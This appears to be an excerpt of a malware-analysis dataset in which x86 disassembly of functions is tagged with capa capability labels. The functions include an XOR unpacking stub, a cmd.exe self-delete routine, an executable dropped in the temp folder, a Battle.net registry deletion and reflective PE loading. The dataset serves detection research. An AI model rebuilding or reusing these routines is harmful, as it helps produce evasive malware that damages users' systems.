joyce8/EMBER2024-capa huggingface dataset:
Function at 0x60ac10
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x8c
call fcn.0042f830
mov eax, dword [0x71a06c]
xor eax, esp
mov dword [esp + 0x88], eax
mov edx, dword [esp + 0xa0]
xor eax, eax
push ebx
mov ebx, dword [esp + 0x9c]
push ebp
mov ebp, dword [esp + 0x9c]
push esi
mov esi, dword [esp + 0x9c]
push edi
mov edi, dword [esp + 0xac]
mov dword [esp + 0x10], edx
test edi, edi
je 0x60ac76
cmp edi, dword [esi]
je 0x60ac6d
test ebp, ebp
je 0x60acf0
test ebx, ebx
js 0x60acf0
mov eax, 1
mov dword [esi], edi
jmp 0x60ac7c
mov edi, dword [esi]
test edi, edi
je 0x60acf0
test ebp, ebp
je 0x60ae0a
push edi
call fcn.005b3550
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, 0x80
jle 0x60acb0
push 0x28
push str.....openssl_1.1.0fcryptohmachmac.c
push str.assertion_failed:_j____int_sizeof_ctx__key_
call fcn.005c05f0
mov eax, dword [esp + 0x20]
add esp, 0xc
cmp eax, ebx
jge 0x60ad0b
push dword [esp + 0x10]
push edi
push dword [esi + 4]
call fcn.005af9a0
add esp, 0xc
test eax, eax
je 0x60acf0
push ebx
push ebp
push dword [esi + 4]
call fcn.005afb50
add esp, 0xc
test eax, eax
je 0x60acf0
lea ebp, [esi + 0x10]
push ebp
lea eax, [esi + 0x14]
push eax
push dword [esi + 4]
call fcn.005af900
add esp, 0xc
test eax, eax
jne 0x60ad27
xor eax, eax
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042e4f5
add esp, 0x8c
ret
cmp ebx, 0x80
ja 0x60acf0
push ebx
lea eax, [esi + 0x14]
push ebp
push eax
call fcn.005080e0
lea ebp, [esi + 0x10]
add esp, 0xc
mov dword [ebp], ebx
mov ecx, dword [ebp]
cmp ecx, 0x80
je 0x60ad4a
mov eax, 0x80
sub eax, ecx
push eax
lea eax, [esi + 0x14]
add eax, ecx
push 0
push eax
call fcn.00507e90
add esp, 0xc
mov edx, dword [esp + 0x10]
xor ecx, ecx
mov al, byte [esi + ecx + 0x14]
xor al, 0x36
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x80
jl 0x60ad50
push edx
push edi
push dword [esi + 8]
call fcn.005af9a0
add esp, 0xc
test eax, eax
je 0x60acf0
push edi
call fcn.005b3550
push eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 8]
call fcn.005afb50
add esp, 0x10
test eax, eax
je 0x60acf0
xor ecx, ecx
nop dword [eax]
mov al, byte [esi + ecx + 0x14]
xor al, 0x5c
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 0x80
jl 0x60ada0
push dword [esp + 0x10]
push edi
push dword [esi + 0xc]
call fcn.005af9a0
add esp, 0xc
test eax, eax
je 0x60acf0
push edi
call fcn.005b3550
push eax
lea eax, [esp + 0x20]
push eax
push dword [esi + 0xc]
call fcn.005afb50
add esp, 0x10
test eax, eax
je 0x60acf0
push dword [esi + 8]
push dword [esi + 4]
call fcn.005afb80
add esp, 8
test eax, eax
je 0x60acf0
mov eax, 1
jmp 0x60acf2
test eax, eax
je 0x60adea
jmp 0x60ad4e
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x4016f4
Capabilities:
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2f]
mov byte [ebp - 0x30], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x4f]
mov byte [ebp - 0x50], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.Testing
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 1], bl
stosb byte es:[edi], al
call dword [0x40b1cc]
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [0x40b1a8]
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push 0x13
push esi
call dword [0x40b1c0]
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push 0x13
push esi
call dword [0x40b1c0]
test eax, eax
je 0x401848
push 3
lea eax, [ebp - 0x30]
push 0x40867c
push eax
call fcn.00402a50
add esp, 0xc
test eax, eax
jne 0x401843
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x50]
push eax
push 5
push esi
call dword [0x40b1c0]
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x50]
push eax
push 5
push esi
call dword [0x40b1c0]
test eax, eax
je 0x401843
lea eax, [ebp - 0x50]
push eax
call fcn.00402a41
pop ecx
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401843
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 1]
push 1
push eax
push esi
call dword [0x40b1dc]
test eax, eax
je 0x401819
cmp dword [ebp - 8], ebx
je 0x401819
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 1]
push 1
push eax
push edi
call dword [0x40b1ac]
jmp 0x4017eb
push esi
call dword [0x40b1b0]
push dword [ebp - 0xc]
call dword [0x40b1b0]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push dword [ebp + 0xc]
call dword [0x40b1c8]
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x40b1b0]
push dword [ebp - 0xc]
call dword [0x40b1b0]
push ebx
call fcn.004028e1
Function at 0x40185e
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x158]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4019ab
lea eax, [ebp - 0x158]
push esi
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4019ab
lea eax, [ebp - 0x360]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x360]
push str.cmd.exe
push eax
call fcn.00402aa0
pop ecx
lea eax, [ebp - 0x25c]
pop ecx
push str.__c__del
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x25c]
push eax
call esi
lea eax, [ebp - 0x25c]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x360]
push eax
call esi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x100
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
lea eax, [ebp - 0x360]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401996
push 0x40
push dword [ebp - 0x10]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push ebx
call fcn.004028e1

Function at 0x401b2a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401b94
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401b94
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00402720
cmp eax, 0x26
pop ecx
je 0x401b94
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004027a0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x401b98
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401beb
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401beb
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00402720
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401bef
xor eax, eax
jmp 0x401bf9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x401ef5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
and byte [ebp - 0x104], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
lea eax, [ebp - 0x208]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x208]
push str.V3Medic.exe
push eax
call fcn.00402aa0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00401b2a
add esp, 0x10
lea eax, [ebp - 0x208]
push 0
push eax
push 0x40b1e4
call dword [0x40b1d0]
test eax, eax
je 0x401fed
lea eax, [ebp - 0x104]
push eax
call fcn.00402720
cmp eax, 0x26
pop ecx
jne 0x401f9f
lea eax, [ebp - 0x104]
push eax
call fcn.00401dcc
pop ecx
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.004027a0
lea eax, [ebp - 0x104]
push eax
call fcn.004019fb
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00401b98
lea eax, [ebp - 0x104]
push eax
call fcn.00401bfd
add esp, 0x1c
test eax, eax
je 0x401fed
lea eax, [ebp - 0x104]
push eax
call fcn.00401cd5
pop ecx
pop edi
pop esi
leave
ret
Function at 0x4021e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5710
call fcn.00402800
and byte [ebp - 0x108], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
and byte [ebp - 0x20c], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
and byte [ebp - 0x5710], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x11ff
xor eax, eax
lea edi, [ebp - 0x570f]
and byte [ebp - 0xf10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0xf0f]
mov ebx, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x20c]
push 5
push eax
call fcn.004019b1
lea eax, [ebp - 0x108]
push eax
call fcn.00402720
add esp, 0xc
cmp byte [ebp + eax - 0x108], 0x5c
je 0x4022a3
lea eax, [ebp - 0x108]
push eax
call fcn.00402720
pop ecx
mov byte [ebp + eax - 0x107], 0x5c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00402aa0
lea eax, [ebp - 0x108]
push str..exe
push eax
call fcn.00402aa0
xor esi, esi
push ebx
lea eax, [ebp - 0x310]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.004027a0
mov edi, 0x4800
lea eax, [ebp - 0x5710]
push edi
push esi
push eax
call fcn.004027a0
add esp, 0x28
cmp dword [str.AC0B0B03C96D6DA4A0ADA1680EA6A8AF68AEADAA68AEA86D0E6DA4A0ADA18DAFA2CCCFC7AFC2CEC3CFC3CFC7AEC6A868AC0BAAA0], esi
je 0x4023d1
mov esi, 0x408030
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x310]
push eax
push dword [esi]
call fcn.00401074
lea eax, [ebp - 0x5710]
push edi
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.00401647
add esp, 0x20
test eax, eax
je 0x402395
cmp dword [ebp - 4], 0
jne 0x402348
lea eax, [ebp - 0x5710]
push eax
call fcn.0040212f
jmp 0x402360
cmp dword [ebp - 4], 1
je 0x402354
cmp dword [ebp - 4], 2
jne 0x402365
lea eax, [ebp - 0x5710]
push eax
call fcn.0040209d
test eax, eax
pop ecx
je 0x402395
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0xf10]
push eax
lea eax, [ebp - 0x5710]
push eax
call fcn.00401074
lea eax, [ebp - 0xf10]
push eax
call fcn.004021c1
add esp, 0x18
test eax, eax
jne 0x4023d1
inc dword [ebp - 4]
push ebx
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.004027a0
push edi
lea eax, [ebp - 0x5710]
push 0
push eax
call fcn.004027a0
mov eax, dword [ebp - 4]
add esp, 0x18
cmp dword [eax*4 + 0x408030], 0
lea esi, [eax*4 + 0x408030]
jne 0x402301
call fcn.00402035
mov edi, eax
lea eax, [ebp - 0x5710]
push eax
call fcn.00402720
cmp eax, 0x15
pop ecx
jb 0x40243c
lea eax, [ebp - 0x5710]
push eax
call fcn.00402099
test eax, eax
pop ecx
je 0x40243c
lea eax, [ebp - 0xf10]
push 0x3a
push eax
call fcn.00402c40
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40243c
and byte [esi], 0
lea eax, [ebp - 0xf10]
push eax
call fcn.00402a41
cmp edi, eax
pop ecx
je 0x40243c
push eax
call fcn.00401ff1
lea eax, [ebp - 0x108]
inc esi
push eax
push esi
call fcn.004016f4
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4024c3
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareBlizzard_EntertainmentBattle.netIdentity
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.Identity
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4024fb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x10]
push edi
push eax
call esi
movzx edi, word [ebp - 4]
cmp edi, 0x31
jle 0x402520
sub edi, 0x32
jmp 0x402523
add edi, 0xa
lea eax, [ebp - 0x10]
push eax
call esi
movzx eax, word [ebp - 4]
cmp eax, edi
jne 0x402523
call fcn.00401140
call fcn.004024c3
call fcn.00401b12
test eax, eax
jne 0x402558
call fcn.00401ef5
call fcn.00402441
call fcn.0040185e
jmp 0x402614
push dword [ebp + 0x10]
call fcn.00402720
test eax, eax
pop ecx
je 0x4025d0
push str.start
push dword [ebp + 0x10]
call fcn.00402bb0
pop ecx
test eax, eax
pop ecx
je 0x4025d0
call fcn.0040249b
and byte [ebp - 0x168], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x167]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x168]
push eax
push 0x40b1e4
call fcn.00401b2a
lea eax, [ebp - 0x168]
push eax
call fcn.00402720
add esp, 0xc
cmp eax, 0x26
jne 0x4025c6
lea eax, [ebp - 0x168]
push eax
call fcn.00401cd5
pop ecx
call fcn.00402441
push 1
pop eax
jmp 0x402616
xor edi, edi
push 0x44
lea eax, [ebp - 0x64]
push edi
push eax
call fcn.004027a0
mov esi, 0x40b1e4
push str.__start
push esi
mov dword [ebp - 0x38], 1
mov word [ebp - 0x34], 5
call fcn.00402aa0
add esp, 0x14
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop edi
pop esi
leave
ret 0x10
Function at 0x104925d7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001077
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x10492622
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
je 0x104926e7
jmp 0x10492703
lea eax, [esp + 0x40]
mov dword [0x104a6a2c], 0x1500
mov dword [0x104a6a28], 0x45c
mov dword [esp + 0x18], eax
call fcn.104936a1
mov dword [esp + 0x14], eax
xor eax, eax
mov ecx, dword [esp + 0x14]
cmp ecx, 0
mov dword [esp + 0x10], eax
jne 0x10492777
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.104940b5
mov ecx, 0x2e
lea edx, [0x10492558]
mov esi, dword [esp + 0x30]
mov dword [esp + 0x50], esi
mov dword [0x104a6a2c], 0x508
mov dword [esp + 0x60], 0x2d9800
mov esi, dword [0x104a6a14]
mov dword [esp + 0x94], esi
mov esi, dword [0x104a6a18]
mov dword [esp + 0x68], esi
mov esi, dword [0x104a6a1c]
mov dword [esp + 0x88], esi
mov esi, dword [0x104a6a20]
mov dword [esp + 0x90], esi
mov esi, dword [0x104a6a24]
mov dword [esp + 0x84], esi
mov dword [0x104a6a28], 0x3ae
mov dword [esp + 0xc], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], edx
jmp 0x10492602
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 8], ecx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 8]
cmp dword [eax + ecx], 0x4550
je 0x10492725
mov eax, 0xfffffc34
mov ecx, dword [esp + 0x20]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
jmp 0x10492602
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x1c]
mov dword [0x104a6a28], ecx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x5c], edx
mov esi, dword [esp + 8]
mov edi, dword [edx + esi + 0x50]
mov dword [esp + 0x6c], edi
mov dword [0x104a6a2c], 0xfffff448
mov edi, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.10492af3
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
jmp 0x104925f7
Function at 0x10492af3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 1
lea esi, [ebp - 0x24]
mov dword [0x104a6a28], 0xffffeb5d
mov byte [ebp - 0x24], 0x56
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edx
jmp 0x10492b7b
mov eax, dword [ebp - 0x38]
add eax, 0x129c
mov dword [0x104a6a28], 0x258c
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add esp, 0x4c
pop esi
pop ebp
ret
mov dword [0x104a6a28], 0xfffe5182
mov dword [0x104a6a2c], 0x15f9
call fcn.10493c6e
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.10492cc7
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
je 0x10492b39
jmp 0x10492ba3
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x1049610a]
mov dl, byte [eax + 0x104960db]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
je 0x10492b42
jmp 0x10492b7b
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x104a6a28], 0x1eb
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.104927f0
mov eax, dword [ebp - 0x38]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov dword [eax + 0xc0], 0x4550
add eax, 0xffc00000
mov dword [0x104a6a2c], 0xb52
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x38]
mov dword [ecx + 0x38], eax
mov dword [0x104a6a28], 0x25e3
xor eax, eax
mov ecx, dword [ebp - 0x38]
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x10492b39
jmp 0x10492b24
Function at 0x104936a1
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [0x104a6a28], 0x1c6a
mov dword [ebp - 4], 0
mov dword [0x104a6a2c], 0x2f2
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x104a6a28], 0xb29
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1049374c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x104937aa
jmp 0x1049371b
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x104937ef
xor eax, eax
mov ecx, dword [0x104a6a2c]
add ecx, 0xfffff6b5
mov dword [0x104a6a2c], ecx
mov dword [ebp - 0x18], eax
jmp 0x104937ef
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x104937cd
jmp 0x1049371b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x10493780
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x104
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], ecx
jl 0x1049374c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x1049371b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x104936eb
jmp 0x1049371b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
sete dl
mov byte [ebp - 0x25], dl
mov al, byte [ebp - 0x25]
test al, 1
jne 0x10493737
jmp 0x1049371b
mov dword [0x104a6a2c], 0xa81
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10493700
jmp 0x1049371b
mov eax, dword [ebp - 0x18]
add esp, 0x28
pop ebp
ret